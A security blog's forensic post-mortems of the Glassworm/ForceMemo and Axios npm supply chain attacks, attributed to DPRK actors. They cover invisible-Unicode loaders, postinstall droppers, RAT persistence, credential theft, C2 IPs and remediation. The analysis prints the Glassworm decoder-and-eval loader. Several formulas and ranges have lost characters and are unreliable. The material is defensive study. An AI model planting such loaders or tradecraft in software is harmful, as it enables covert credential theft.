Supply Chain Vulnerabilities - Nocturnalknight's Lair

The Polinrider and Glassworm Supply Chain Offensive: A Forensic Post-Mortem

By Ramkumar Sundarakalatharan | April 4, 2026 | Comments 0 Comment

Industrialised Software Ecosystem Subversion and the Weaponisation of Invisible Unicode

Executive Summary

The early months of 2026 marked a pivotal escalation in the sophistication of software supply chain antagonism, characterised by a coordinated, multi-ecosystem offensive targeting the global development community. Central to this campaign was the Polinrider operation, a sprawling initiative attributed to Democratic People’s Republic of Korea (DPRK) state-sponsored threat actors; specifically, the Lazarus Group and its financially motivated subgroup, BlueNoroff.¹ The campaign exploited the inherent trust embedded within modern developer tools, package registries, and version control systems to achieve an industrialised scale of compromise, affecting over 433 software components within a single fourteen-day window in March 2026.³

The offensive architecture relied on two primary technical innovations: the Glassworm module and the ForceMemo injection methodology. Glassworm utilised invisible Unicode characters from the Private Use Area (PUA) and variation selector blocks to embed malicious payloads within source files, effectively bypassing visual code reviews and traditional static analysis.³ ForceMemo, identified as a second-stage execution phase, leveraged credentials stolen during the initial Glassworm wave to perform automated account takeovers (ATO) across hundreds of GitHub repositories.⁵ By rebasing and force-pushing malicious commits into Python-based projects, the adversary successfully poisoned downstream dependencies while maintaining a stealthy presence through the manipulation of Git metadata.⁵ Furthermore, the command-and-control (C2) infrastructure associated with these operations demonstrated a strategic shift toward decentralised resilience. By utilising the Solana blockchain’s Memo program to broadcast immutable instructions and payload URLs, the threat actor mitigated the risks associated with traditional domain-level takedowns and infrastructure seizures.³ The campaign’s lineage, which traces back to the 2023 RustBucket and 2024 Hidden Risk operations, underscores a persistent and highly adaptive adversary targeting the technological and financial sectors through the subversion of the modern developer workstation.¹ This post-mortem provides a technical reconstruction of the attack anatomy, assesses the systemic blast radius, and defines the remediation protocols necessary to fortify the global software supply chain.

Architecture: The Multi-Vector Infiltration Model

The architecture of the Polinrider campaign was designed for maximum horizontal expansion across the primary pillars of the software development lifecycle: the Integrated Development Environment (IDE), the package manager, and the repository host. Unlike previous supply chain incidents that focused on a single point of failure, Polinrider operated as a coordinated, multi-ecosystem push, ensuring that compromising a single developer’s workstation could be leveraged to poison multiple downstream environments.⁴

The VS Code and Open VSX Infiltration Layer

The Integrated Development Environment served as the initial entry point for the campaign, with the Visual Studio Code (VS Code) marketplace and the Open VSX registry acting as the primary distribution channels. The adversary exploited the broad permissions granted to IDE extensions, which often operate with the equivalent of local administrative access to the developer’s filesystem, environment variables, and network configuration.⁸The offensive architecture at this stage shifted from direct payload embedding to a more sophisticated “transitive delivery” model. Attackers published seemingly benign utility extensions—such as linters, code formatters, and database integrations—to establish a baseline of trust and high download counts.¹⁰ Once these extensions reached a critical mass of installations, the adversary pushed updates that utilised the extensionPack and extensionDependencies manifest fields to automatically pull and install a separate, malicious Glassworm-linked extension.¹⁰ Because VS Code extensions auto-update by default, thousands of developers were infected without manual intervention or notification.⁵

Extension Category	Spoofed Utility	Primary Mechanism	Target Ecosystem
Formatters	Prettier, ESLint	Transitive Dependency	JavaScript / TypeScript
Language Tools	Angular, Flutter, Vue	extensionPack Hijack	Web / Mobile Development
Quality of Life	vscode-icons, WakaTime	Auto-update Poisoning	General Productivity
AI Development.⁵	Claude Code, Codex	Settings Injection	LLM / AI Orchestration

The npm and Package Registry Subversion

Simultaneous to the IDE-based attacks, the Polinrider campaign targeted the npm ecosystem through a combination of maintainer account hijacking and typosquatting. Malicious versions of established packages, such as @aifabrix/miso-client and @iflow-mcp/watercrawl-watercrawl-mcp, were published containing the Glassworm decoder pattern.⁴ In several instances, such as the compromise of popular React Native packages, the adversary evolved their delivery mechanism across multiple releases.¹²

The technical architecture of the npm compromise transitioned from simple postinstall hooks to complex, multi-layered dependency chains. For example, the package @usebioerhold8733/s-format underwent four distinct version updates in a 48-hour window.¹² Initial versions contained inert hooks to test detection triggers, while subsequent versions introduced heavily obfuscated JavaScript payloads designed to establish a persistent connection to the Solana-based C2 infrastructure.¹² This incremental staging suggests an adversarial strategy of “testing in production” to identify the limits of automated package analysis tools.

The GitHub Repository and Version Control Vector

The final architectural layer of the campaign involved the systematic poisoning of the GitHub ecosystem. Between March 3 and March 13, 2026, two parallel waves were identified: an initial wave of 151+ repositories containing invisible Unicode injections and a subsequent ForceMemo wave targeting 240+ repositories through account takeover and force-pushing.⁶The ForceMemo architecture is particularly notable for its subversion of Git’s internal object database. By utilizing stolen GitHub tokens harvested during the Glassworm phase, the adversary gained the ability to rewrite repository history. The attack logic involved taking the latest legitimate commit on a repository’s default branch, rebasing it with malicious code appended to critical Python files (e.g., setup.py, app.py), and force-pushing the result.⁶ This architectural choice bypassed branch protection rules and pull request reviews, as the malicious code appeared as a direct commit from the original, trusted author.⁵

Anatomy: Invisible Payloads and Decentralised Control

The technical construction of the Polinrider modules represents a sophisticated convergence of character encoding manipulation and blockchain-augmented operational security.

Glassworm: The Invisible Unicode Technique

The Glassworm payload relies on the exploitation of the Unicode standard to hide malicious logic within source code. The technique utilizes characters from the Private Use Area (PUA) and variation selectors that are rendered as zero-width or empty space in nearly all modern text editors, terminals, and code review interfaces.⁴

The malicious code typically consists of a small, visible decoder function that processes a seemingly empty string. A technical analysis of the decoder identifies the following pattern:

JavaScript


const s = v => [...v].map(w => (
 w = w.codePointAt(0),
 w >= 0xFE00 && w <= 0xFE0F? w - 0xFE00 :
 w >= 0xE0100 && w <= 0xE01EF? w - 0xE0100 + 16 : null
)).filter(n => n!== null);
eval(Buffer.from(s(``)).toString('utf-8'));

The string passed to the function s() contains the invisible Unicode characters. The decoder iterates through the code points of these characters, mapping them back into numerical byte values. Specifically, the range to (Variation Selectors) and to (Variation Selectors Supplement) are used as the encoding medium.⁴ Once the bytes are reconstructed into a readable string, the script executes the resulting payload via eval().⁴ This second-stage payload is typically a Remote Access Trojan (RAT) or a credential harvester designed to exfiltrate secrets to the attacker’s infrastructure.

ForceMemo: Account Takeover and Git Subversion

The ForceMemo component of the campaign serves as the primary mechanism for lateral movement and repository poisoning. Its anatomy is defined by the theft of high-value developer credentials, including:

GitHub tokens harvested from VS Code extension storage and ~/.git-credentials.⁶
NPM and Git configuration secrets.⁵
Cryptocurrency wallet private keys from browser extensions like MetaMask and Phantom.⁶

Upon obtaining a valid developer token, the ForceMemo module initiates an automated injection routine. It identifies the repository’s default branch and identifies critical files such as main.py or app.py in Python-based projects.¹³ The malware appends a Base64-encoded payload to these files and performs a git push --force operation.⁶ This method is designed to leave minimal traces; because the rebase preserves the original commit message, author name, and author date, only the “committer date” is modified, a detail that is often ignored by most standard monitoring tools.⁵

Command and Control via Solana Blockchain

The Polinrider C2 infrastructure utilises the Solana blockchain as an immutable and censorship-resistant communication channel. The malware is programmed to query a specific Solana wallet address (e.g., G2YxRa…) to retrieve instructions.⁵ These instructions are embedded within the “memo” field of transactions associated with the address, utilising Solana’s Memo program.⁵The threat actor updates the payload URL by posting new transactions to the blockchain. The malware retrieves these transactions, decodes the memo data to obtain the latest server IP or payload path, and fetches the next-stage JavaScript or Python payload.⁵ The StepSecurity threat intelligence team identified that the adversary rotated through at least six distinct server IPs between December 2025 and March 2026, indicating a highly resilient and actively managed infrastructure.⁶

C2 Server IP	Active Period	Primary Function
45.32.151.157	December 2025	Initial Payload Hosting
45.32.150.97	February 2026	Infrastructure Rotation
217.69.11.57	February 2026	Secondary Staging
217.69.11.99	Feb – March 2026	Peak Campaign Activity
217.69.0.159	March 13, 2026	ForceMemo Active Wave
45.76.44.240	March 13, 2026	Parallel Execution Node

Blastradius: Systemic Impact and Ecosystem Exposure

The blast radius of the Polinrider campaign is characterised by its impact on the fundamental trust model of the software development lifecycle. Because the campaign targeted developers—the “privileged users” of the technological stack—the potential for lateral movement into production environments and sensitive infrastructure is unprecedented.

Developer Workstation Compromise

The compromise of VS Code extensions effectively transformed thousands of developer workstations into adversarial nodes. Once a malicious extension was installed, the Glassworm implant (compiled as os.node for Windows or darwin.node for macOS) established persistence via registry keys and LaunchAgents.¹¹ These implants provided the threat actors with:

Remote Access: Deployment of SOCKS proxies and hidden VNC servers for manual host control.⁵
Credential Theft: Systematic harvesting of Git tokens, SSH keys, and browser-stored cookies.⁶
Asset Theft: Extraction of cryptocurrency wallet seed phrases and private keys.⁵

Furthermore, the campaign targeted AI-assisted development workflows. Repositories containing SKILL.md files were used to target agents like OpenClaw, which automatically discover and install external “skills” from GitHub.¹⁴ This allowed the malware to be delivered through both traditional user-driven workflows and automated agentic interactions.¹⁴

Impact on the Python and React Native Ecosystems

The ForceMemo wave specifically targeted Python projects, which are increasingly critical for machine learning research and data science.⁵ Compromised repositories included Django applications and Streamlit dashboards, many of which are used in enterprise environments.⁵ The injection of malicious code into these projects has a long-tail effect; any developer who clones or updates a compromised repository unknowingly executes the malware, potentially leading to further account takeovers and data exfiltration.

In the npm registry, the compromise of packages like react-native-international-phone-number and react-native-country-select impacted a significant number of mobile application developers.¹² These packages, with combined monthly downloads exceeding 130,000, provided a high-leverage entry point for poisoning mobile applications at the source.¹²

Infrastructure and Corporate Exposure

The hijacking of verified GitHub organisations, such as the dev-protocol organisation, represents a critical failure of the platform’s trust signals. By inheriting the organisation’s verified badge and established history, the attackers bypassed the credibility checks typically performed by developers.¹⁵ The malicious repositories distributed through this organisation were designed to exfiltrate .env files, often containing sensitive API keys and database credentials, to attacker-controlled endpoints.¹⁵ This demonstrates that even “verified” sources cannot be implicitly trusted in a post-Polinrider landscape.

Adversary Persona: The BlueNoroff and Lazarus Lineage

Attribution of the Polinrider and Glassworm campaigns points decisively toward state-sponsored actors aligned with the Democratic People’s Republic of Korea (DPRK), specifically the Lazarus Group and its financially motivated subgroup, BlueNoroff.¹ The campaign exhibits a clear lineage of technical evolution, infrastructure reuse, and operational signatures consistent with North Korean cyber operations.

Technical Lineage and Module Evolution

The Polinrider malware, particularly the macWebT project used for macOS compromise, shows a direct technical descent from the 2023 RustBucket campaign.¹ Forensic analysis of build artifacts reveals a consistent internal naming convention and a shift in programming languages while maintaining identical communication fingerprints.

Campaign Phase	Codename	Language	C2 Library	Beacon Interval
RustBucket (2023)	webT	Rust	Rust HTTP	60 Seconds
Hidden Risk (2024)	webT	C++	libcurl	60 Seconds
Axios/Polinrider (2026)	macWebT	C++	libcurl	60 Seconds

All variants across this three-year period utilise the exact same IE8/Windows XP User-Agent string: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0).¹

This level of consistency suggests a shared core code library and a common set of operational protocols across different DPRK-aligned groups.

APT37 (ScarCruft) and Parallel Tactics

While BlueNoroff is the primary suspect for the financial and repository-centric phases, there is significant overlap with APT37 (also known as ScarCruft or Ruby Sleet).⁷ APT37 has been observed utilising a similar single-server C2 model to orchestrate varied malware, including the Rust-based Rustonotto (CHILLYCHINO) backdoor and the FadeStealer data exfiltrator.⁷ The use of advanced injection techniques, such as Process Doppelgänging, further aligns with the high technical proficiency demonstrated in the Glassworm Unicode attacks.⁷

Operational Security and Victim Selection

The adversary’s operational security (OPSEC) includes specific geographic exclusions. The ForceMemo and Glassworm payloads frequently include checks for the system’s locale; execution is terminated if the system language is set to Russian or other languages common in the Commonwealth of Independent States (CIS).⁵ This is a hallmark of Eastern European or DPRK-aligned cybercrime, intended to avoid local law enforcement scrutiny. The campaign’s primary targets include blockchain engineers, cryptocurrency developers, and AI researchers.⁴ This focus on high-value technological intellectual property and liquid financial assets is characteristic of North Korea’s strategic objective to bypass international sanctions through cyber-enabled financial theft.

Remediation Protocol: Phased Recovery and Hardening

Remediation of the Polinrider compromise requires a multi-stage protocol focused on immediate identification, systematic eradication, and long-term structural hardening of the software supply chain.

Stage 1: Identification and Isolation

Organisations must immediately audit their environments for indicators of compromise (IOCs) associated with the Glassworm and ForceMemo waves.

Repository Integrity Checks: Utilise git reflog and examine committer dates for any discrepancies against author dates on default branches.⁵ Any force-push activity on sensitive repositories should be treated as a confirmed breach.
Unicode Scanning: Deploy automated scanners capable of detecting non-rendering Unicode characters. A recommended regex for identifying variation selectors in source code is: (|\uDB40).¹⁶ The Glassworm decoder pattern should be used as a signature for static analysis of JavaScript and TypeScript files.⁴
Extension Audit: Implement a “Review and Allowlist” policy for IDE extensions. Use the VS Code extensions. allowed setting to restrict installations to verified, internal publishers. ³

Stage 2: Credential Rotation and Eradication

Because the primary objective of the campaign was the theft of privileged tokens, any infected workstation must be assumed to have leaked all accessible credentials.

Token Revocation: Immediately revoke all GitHub Personal Access Tokens (PATs), npm publishing tokens, and SSH keys associated with affected developers.¹
Asset Protection: Rotate all sensitive information stored in .env files or environment variables, including AWS access keys, database passwords, and API secrets.⁵
System Re-imaging: Given that the Glassworm implant establishes persistent SOCKS proxies and VNC servers, compromised machines should be considered fully “lost” and re-imaged from a clean state to ensure total eradication of the RAT.¹

Stage 3: Post-Incident Hardening

To prevent a recurrence of these sophisticated supply chain attacks, organisations must transition toward a zero-trust model for development.

Trusted Publishing (OIDC): Migrate all package publishing workflows to OpenID Connect (OIDC). This eliminates the need for long-lived static tokens, instead utilising temporary, job-specific credentials provided by the CI/CD environment.¹
Signed Commits and Branch Protection: Enforce mandatory commit signing and strictly disable force-pushing on all protected branches. This prevents the ForceMemo technique from rewriting history without an audit trail.⁶

Dependency Isolation: Use tools like “Aikido Safe Chain” to block malicious packages before they enter the environment. ⁴ Implement a mandatory 7-day delay for the adoption of new package versions to allow security researchers and automated scanners time to audit them for malicious intent.¹

Critical Analysis & Conclusion

The Polinrider and Glassworm campaigns of 2026 signify a watershed moment in the industrialisation of supply chain warfare. This incident reveals three fundamental shifts in the adversarial landscape that require a comprehensive re-evaluation of modern cybersecurity practices.

The Weaponisation of Invisible Code

The success of the Glassworm Unicode technique exposes the fragility of the “four-eyes” principle in code review. By exploiting the discrepancy between how code is rendered for human reviewers and how it is parsed by computer systems, the adversary has effectively rendered visual audit trails obsolete. This creates a “shadow code” layer that cannot be detected by humans, requiring a shift toward byte-level automated analysis as a baseline requirement for all source code committed to a repository.

The Subversion of Decentralised Infrastructure

The use of the Solana blockchain for C2 communication demonstrates that adversaries are increasingly adept at exploiting decentralised technologies to ensure operational resilience. Traditional defensive strategies, such as IP and domain blocking, are insufficient against a C2 channel that is immutable and globally distributed. Defenders must move toward behavioural analysis of blockchain RPC traffic and the monitoring of immutable metadata to detect signs of malicious coordination.

The IDE as the New Perimeter

Historically, security efforts have focused on the network perimeter and the production server. Polinrider proves that the developer’s IDE is the new, high-leverage frontier. VS Code extensions, which operate outside the standard governance of production services, provide a silent and powerful delivery mechanism for malware. The “transitive delivery” model exploited in this campaign shows that the supply chain is only as strong as its weakest link.

In conclusion, the Polinrider offensive represents a highly coordinated, state-sponsored effort to exploit the very tools that enable global technological progress. The adversary has shown that by targeting the “privileged few” – “the developers”, they can poison the ecosystem for the many. The path forward requires a fundamental shift in how we perceive the development environment: not as a safe harbour of trust, but as a primary attack surface that requires the same level of Zero Trust auditing and isolation as a production database. Only through the adoption of immutable provenance, cryptographic commit integrity, and automated Unicode detection can the software supply chain be fortified against such invisible and industrialised incursions.

References & Further Reading

The Axios Supply Chain Compromise: A Post-Mortem on …, accessed on April 3, 2026, https://nocturnalknight.co/the-axios-supply-chain-compromise-a-post-mortem-on-infrastructure-trust-nation-state-proxy-warfare-and-the-fragility-of-modern-javascript-ecosystems/
PolinRider: DPRK Threat Actor Implants Malware in Hundreds of …, accessed on April 3, 2026, https://opensourcemalware.com/blog/polinrider-attack
Software Supply Chain Under Fire: How GlassWorm Compromised …, accessed on April 3, 2026, https://www.securitytoday.de/en/2026/03/22/software-supply-chain-under-fire-how-glassworm-compromised-400-developer-tools/
Glassworm Returns: Invisible Unicode Malware Found in 150+ …, accessed on April 3, 2026, https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode
ForceMemo: Python Repositories Compromised in GlassWorm Aftermath – SecurityWeek, accessed on April 3, 2026, https://www.securityweek.com/forcememo-python-repositories-compromised-in-glassworm-aftermath/
ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push – StepSecurity, accessed on April 3, 2026, https://www.stepsecurity.io/blog/forcememo-hundreds-of-github-python-repos-compromised-via-account-takeover-and-force-push
APT37: Rust Backdoor & Python Loader | ThreatLabz – Zscaler, Inc., accessed on April 3, 2026, https://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader
VS Code extensions with 125M+ installs expose users to cyberattacks – Security Affairs, accessed on April 3, 2026, https://securityaffairs.com/188185/security/vs-code-extensions-with-125m-installs-expose-users-to-cyberattacks.html
VS Code Extension Security Risks: The Supply Chain That Auto-Updates on Your Developers’ Laptops | Article | BlueOptima, accessed on April 3, 2026, https://www.blueoptima.com/post/vs-code-extension-security-risks-the-supply-chain-that-auto-updates-on-your-developers-laptops
Open VSX extensions hijacked: GlassWorm malware spreads via dependency abuse, accessed on April 3, 2026, https://www.csoonline.com/article/4145579/open-vsx-extensions-hijacked-glassworm-malware-spreads-via-dependency-abuse.html
GlassWorm Malware Exploits Visual Studio Code and OpenVSX Extensions in Sophisticated Supply Chain Attack on Developer Ecosystems – Rescana, accessed on April 3, 2026, https://www.rescana.com/post/glassworm-malware-exploits-visual-studio-code-and-openvsx-extensions-in-sophisticated-supply-chain-a
Malicious npm Releases Found in Popular React Native Packages – 130K+ Monthly Downloads Compromised – StepSecurity, accessed on April 3, 2026, https://www.stepsecurity.io/blog/malicious-npm-releases-found-in-popular-react-native-packages—130k-monthly-downloads-compromised
GlassWorm campaign evolves: ForceMemo attack targets Python repos via stolen GitHub tokens | brief | SC Media, accessed on April 3, 2026, https://www.scworld.com/brief/glassworm-campaign-evolves-forcememo-attack-targets-python-repositories-via-stolen-github-tokens
GhostClaw/GhostLoader Malware: GitHub Repositories & AI Workflow Attacks | Jamf Threat Labs, accessed on April 3, 2026, https://www.jamf.com/blog/ghostclaw-ghostloader-malware-github-repositories-ai-workflows/
CI/CD Incidents – StepSecurity, accessed on April 3, 2026, https://www.stepsecurity.io/incidents
Create a regular expression for Unicode variation selectors – GitHub, accessed on April 3, 2026, https://github.com/shinnn/variation-selector-regex

The Axios Supply Chain Compromise: A Post-Mortem on Infrastructure Trust, Nation-State Proxy Warfare, and the Fragility of Modern JavaScript Ecosystems

By Ramkumar Sundarakalatharan | April 1, 2026 | Comments 0 Comment

TL:DR: This is a Developing Situation and I will try to update it as we dissect more. If you’d prefer the remediation protocol directly, you can head to the bottom. In case you want to understand the anatomy of the attack and background, I have made a video that can be a quick explainer.

The software supply chain compromise of the Axios npm package in late March 2026 stands as a definitive case study in the escalating complexity of cyber warfare targeting the foundations of global digital infrastructure.¹ Axios, an ubiquitous promise-based HTTP client for Node.js and browser environments, serves as a critical abstraction layer for over 100 million weekly installations, facilitating the movement of sensitive data across nearly every major industry.¹ On March 31, 2026, this trusted utility was weaponised by threat actors through a sophisticated account takeover and the injection of a cross-platform Remote Access Trojan (RAT), exposing a vast blast radius of developer environments, CI/CD pipelines, and production clusters to state-sponsored espionage.² The incident represents more than a localized breach of an npm library; it is a manifestation of the “cascading” supply chain attack model, where the compromise of a single maintainer cascades into the theft of thousands of high-value credentials, including AWS keys, SSH credentials, and OAuth tokens, which are then leveraged for further lateral movement within corporate and government networks.⁶ This analysis reconstructs the technical anatomy of the attack, explores the operational tradecraft of the adversary, and assesses the structural vulnerabilities in registry infrastructure that allowed such a breach to bypass modern security gates like OIDC-based Trusted Publishing.⁶

The Architectural Criticality of Axios and the Magnitude of the Blast Radius

The positioning of Axios within the modern software stack creates a high-density target for supply chain poisoning. As a library that manages the “front door” of network communication for applications, it is inherently granted access to sensitive environment variables, authentication headers, and API secrets.¹ The March 31 compromise targeted this architectural criticality by poisoning the very mechanism of installation.²

The blast radius of this incident was significantly expanded by the library’s role as a transitive dependency. Countless other npm packages, orchestration tools, and automated build scripts pull Axios as a secondary or tertiary requirement.³ Consequently, organisations that do not explicitly use Axios in their primary codebases were still vulnerable if their build systems resolved to the malicious versions, 1.14.1 or 0.30.4, during the infection window.¹ This “hidden” exposure is a hallmark of modern supply chain risk, where the attack surface is not merely your code, but your vendor’s vendor’s vendor.²

The Anatomy of the Poisoning: Technical Construction of plain-crypto-js

The compromise was executed not by modifying the Axios source code itself, which might have been caught by source-control monitoring or automated diffs; but by manipulating the registry metadata to include a “phantom dependency” named [email protected]. This dependency was never intended to provide cryptographic functionality; it served exclusively as a delivery vehicle for the initial stage dropper.⁶

The attack began when a developer or an automated CI/CD agent executed npm install.⁶ The npm registry resolved the dependency tree, identified the malicious Axios version, and automatically fetched [email protected].^6. Upon installation, the package triggered a postinstall hook defined in its package.json, executing the command node setup.js.⁶ This script functioned as the primary dropper, utilising a sophisticated obfuscation scheme to hide its intent from static analysis tools.⁵

The setup.js script utilised a two-layer encoding mechanism. The first layer involved a string reversal and a modified Base64 decoder where standard padding characters were replaced with underscores.⁵ The second layer employed a character-wise XOR cipher with a key derived from the string “OrDeR_7077”.⁵ The logic for the decryption can be represented mathematically. Let be the array of obfuscated character codes and be the derived key array. The character index for the XOR operation is calculated as:

Where is the current character position in the string being decrypted. ⁵ This position-dependent transformation ensured that even if a security tool identified a repeating key pattern, the actual character transformation would vary non-linearly across the string.⁵

The dropper’s primary function was to identify the host operating system via the os.platform() module and download the corresponding second-stage RAT binary from the C2 server.⁶ This stage demonstrated high operational maturity, providing specific payloads for Windows, macOS, and Linux, ensuring that no developer workstation would be exempt from the infection chain.⁵

The Discovery Narrative: From Automated Scanners to Community Alarms

The identification of the Axios compromise was not the result of a single security failure, but rather a coordinated response between automated monitoring systems and the broader cybersecurity community.⁵ The earliest indications of the breach emerged on March 30, 2026, when researchers at Elastic Security Labs detected anomalous registry activity.^5. Automated monitors flagged a significant change in the project’s metadata: the registered email for lead maintainer jasonsaayman was abruptly changed from a legitimate Gmail address to the attacker-controlled [email protected].⁵This discovery triggered a rapid forensic investigation. Researchers noted that while previous legitimate versions of Axios were published using GitHub Actions OIDC with SLSA provenance attestations, the malicious versions, 1.14.1 and 0.30.4, were published directly via the npm CLI.³ This shift in publishing methodology provided the first evidence of an account takeover.³ By 01:50 AM UTC on March 31, 2026, a GitHub Security Advisory was filed, and the coordination between Axios maintainers and the npm registry began in earnest to remove the poisoned packages.⁵

Despite the relatively short duration of the infection window (approximately three hours), the impact was profound.2 Automated build systems, particularly those that do not use pinned dependencies or committed lockfiles, pulled the malicious releases immediately upon their publication.2 The “two-hour window” between publication and removal was sufficient for the attackers to establish persistence on thousands of systems, highlighting the fundamental problem with reactive security: IOCs often arrive after the initial objective of the attacker has already been realised.²

The Adversary Persona: BlueNoroff and the Lazarus Connection

The technical signatures and infrastructure used in the Axios attack allow for high-confidence attribution to BlueNoroff, a prominent subgroup of the North Korean Lazarus Group.¹⁶ BlueNoroff, also tracked as Jade Sleet and TraderTraitor, is widely recognised as the financial and infrastructure-targeting arm of the North Korean state, responsible for massive thefts of cryptocurrency and attacks on financial systems like SWIFT.¹⁶

The attribution is supported by several “ironclad” pieces of evidence recovered during forensic analysis.¹⁸ The macOS variant of the Remote Access Trojan, which the attackers dubbed macWebT, is identified as a direct evolution of the webT malware module previously documented in the group’s “RustBucket” campaign.¹⁸ Furthermore, the C2 protocol structure, the JSON-based message formats, and the specific system enumeration patterns are identical to those used in the “Contagious Interview” campaign, where North Korean hackers used fake job offers to distribute malicious npm packages.¹⁵

The strategic objective of the Axios compromise was twofold: credential harvesting and infrastructure access.¹ By gaining access to developer environments, BlueNoroff can steal the “keys to the kingdom”, SSH keys for private repositories, cloud service account tokens, and repository deploy keys.⁶ These credentials are then used to penetrate further into corporate and government networks, enabling long-term espionage or the eventual theft of cryptocurrency assets to fund the North Korean regime.¹⁵

Attribution Characteristic	Evidence / Signature
Malware Lineage	macWebT project name linked to BlueNoroff’s webT (RustBucket 2023).¹⁸
Campaign Overlap	C2 message types and “FirstInfo” sequence mirror “Contagious Interview” TTPs.¹⁵
Target Profile	High-value developers, blockchain firms, and infrastructure maintainers.¹⁶
Infrastructure	Use of anonymous ProtonMail accounts and bulletproof hosting for C2 nodes.¹⁰

The Axios incident marks a significant escalation in BlueNoroff’s tactics.10 Rather than relying on social engineering to target individuals, the group has successfully moved “upstream” in the supply chain, poisoning a tool used by millions to achieve a massive, automated reach that bypasses traditional phishing defences.¹⁰

The Cross-Platform RAT: Windows, macOS, and Linux Payloads

The second-stage Remote Access Trojan (RAT) delivered during the Axios breach demonstrates the technical sophistication of the adversary. Rather than using three different tools, the attackers developed a single, unified RAT framework with native-language implementations for each major operating system, sharing a common C2 protocol and command set.⁵

Windows Implementation: The wt.exe Masquerade

On Windows systems, the setup.js dropper wrote a VBScript to the %TEMP% directory.⁶ This script performed an evasion manoeuvre by copying the legitimate powershell.exe to %PROGRAMDATA%\wt.exe, masquerading as the Windows Terminal binary to evade process-name based security heuristics.⁶ The script then downloaded and executed a PowerShell-based RAT, which established persistence through the Windows registry:

Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate
Persistent Artifact: %PROGRAMDATA%\system.bat (a hidden batch file that re-downloads the RAT on login).⁵

macOS Implementation: The com.apple.act.mond Daemon

The macOS variant was a compiled Mach-O universal binary (supporting both x86_64 and ARM64 architectures).⁶ The dropper used an AppleScript to download the binary to /Library/Caches/com.apple.act.mond, a path chosen to mimic legitimate Apple system processes.⁶ To bypass Gatekeeper security checks, the malware used the codesign tool to ad hoc sign its own components.4 This C++ binary utilised the nlohmann/json library for parsing C2 commands and libcurl for secure network communications.⁶

Linux Implementation: The ld.py Python RAT

The Linux variant was a 443-line Python script that relied exclusively on the standard library to minimise its footprint.⁴ It was downloaded to /tmp/ld.py and launched as an orphaned background process via the nohup command.⁴ This technique ensured that even if the terminal session where npm install was run was closed, the RAT would continue to operate as a child of the init process (PID 1), severing any obvious parent-child process relationships that security tools might use for attribution.⁴

Platform	Persistence Mechanism	Key Discovery Paths
Windows	Registry Run Key + %PROGRAMDATA%\system.bat.⁶	Check for %PROGRAMDATA%\wt.exe masquerade.⁶
macOS	Masquerades as system daemon; survives user logout.⁴	Check /Library/Caches/com.apple.act.mond.⁴
Linux	Detached background process (PID 1) via nohup.⁴	Check /tmp/ld.py for Python script.⁶

Across all three platforms, the RAT engaged in immediate and aggressive system reconnaissance.⁶ It enumerated user directories (Documents, Desktop), cloud configuration folders (.aws), and SSH keys (.ssh), packaging this data into a “FirstInfo” beacon sent to the C2 server within seconds of infection.⁶

Credential Harvesting and Post-Exfiltration Tradecraft

The primary objective of the Axios compromise was not system disruption, but the systematic harvesting of credentials that facilitate further lateral movement.¹ The BlueNoroff actors recognised that a developer’s workstation is the nexus of an organisation’s infrastructure, housing the secrets required to modify source code, deploy cloud resources, and access sensitive internal databases.⁶

Upon establishing a connection to the sfrclak[.]com C2 server, the RAT immediately began a deep scan for high-value secrets.⁶ The malware was specifically programmed to prioritise the following categories of data:

Cloud Infrastructure: Searching for AWS credentials (via IMDSv2 and ~/.aws/), GCP service account files, and Azure tokens.²
Development and CI/CD: Harvesting npm tokens from .npmrc, GitHub personal access tokens, and repository deploy keys stored in ~/.ssh/.³
Local Environments: Dumping all environment variables, which in modern development often contain API keys for services like OpenAI, Anthropic, or database connection strings.²
System and Shell History: Searching shell history files (.bash_history, .zsh_history) for sensitive commands, passwords, or internal URLs that could reveal system topology.⁸

The exfiltration process was designed for stealth. Harvested data was bundled and often encrypted using a hybrid scheme similar to that seen in the LiteLLM attack, where data is encrypted with a session-specific AES-256 key, which is then itself encrypted with a hardcoded RSA public key.⁸ This ensures that even if the C2 traffic is intercepted, the underlying data remains unreadable without the attacker’s private key.⁸

Targeted Data Type	Specific Artifacts	Operational Outcome
Auth Tokens	.npmrc, ~/.git-credentials, .env	Access to modify upstream packages and hijack CI/CD pipelines.¹
Network Access	~/.ssh/id_rsa, shell history	Lateral movement into production servers and internal repositories.⁶
Cloud Secrets	~/.aws/credentials, IMDS metadata	Full control over cloud-hosted infrastructure and data lakes.²
Crypto Wallets	Browser logs, wallet files (BTC, ETH, SOL)	Direct financial theft for purported state revenue.⁸

The anti-forensic measures employed by the RAT further complicate recovery. After the initial exfiltration, the setup.js dropper deleted itself and replaced the malicious package.json with a clean decoy version (package.md).⁶ This swap included reporting the version as 4.2.0 (the clean pre-staged version) instead of the malicious 4.2.1.^6. Consequently, incident responders running npm list might conclude their system was running a safe version of the dependency, even while the RAT remained active as an orphaned background process. ¹⁰

Strategic Failures in npm Infrastructure: The OIDC vs. Token Conflict

One of the most critical findings of the Axios post-mortem is the failure of OIDC-based Trusted Publishing to prevent the malicious releases.⁶ The industry has widely advocated for OIDC (OpenID Connect) as the “gold standard” for securing the software supply chain, as it replaces long-lived, static API tokens with short-lived, cryptographically signed identity tokens generated by the CI/CD provider.⁶

The Axios project had successfully implemented Trusted Publishing, yet the attackers were still able to publish malicious versions.⁶ This was made possible by a design choice in the npm authentication hierarchy: when both a long-lived NPM_TOKEN and OIDC credentials are provided, the npm CLI prioritises the token.⁶ The attackers exploited this by using a stolen, long-lived token, likely harvested in a prior breach, to publish directly from a local machine, completely bypassing the secure GitHub Actions workflow that was intended to be the only path for new releases.⁶

Feature	Long-Lived API Tokens	Trusted Publishing (OIDC)
Lifetime	Static (often 30-90+ days).²²	Ephemeral (seconds to minutes).⁹
Storage	Environmental variables, .npmrc.⁶	Not stored; generated per-job.⁹
Security Risk	High; primary vector for supply chain attacks.²²	Low; no static secret to leak.⁹
Verification	Simple possession-based.⁶	Identity-based via cryptographic signature.⁹
Bypass Potential	Can override OIDC in current npm implementations.⁶	Secure, if legacy tokens are revoked.⁶

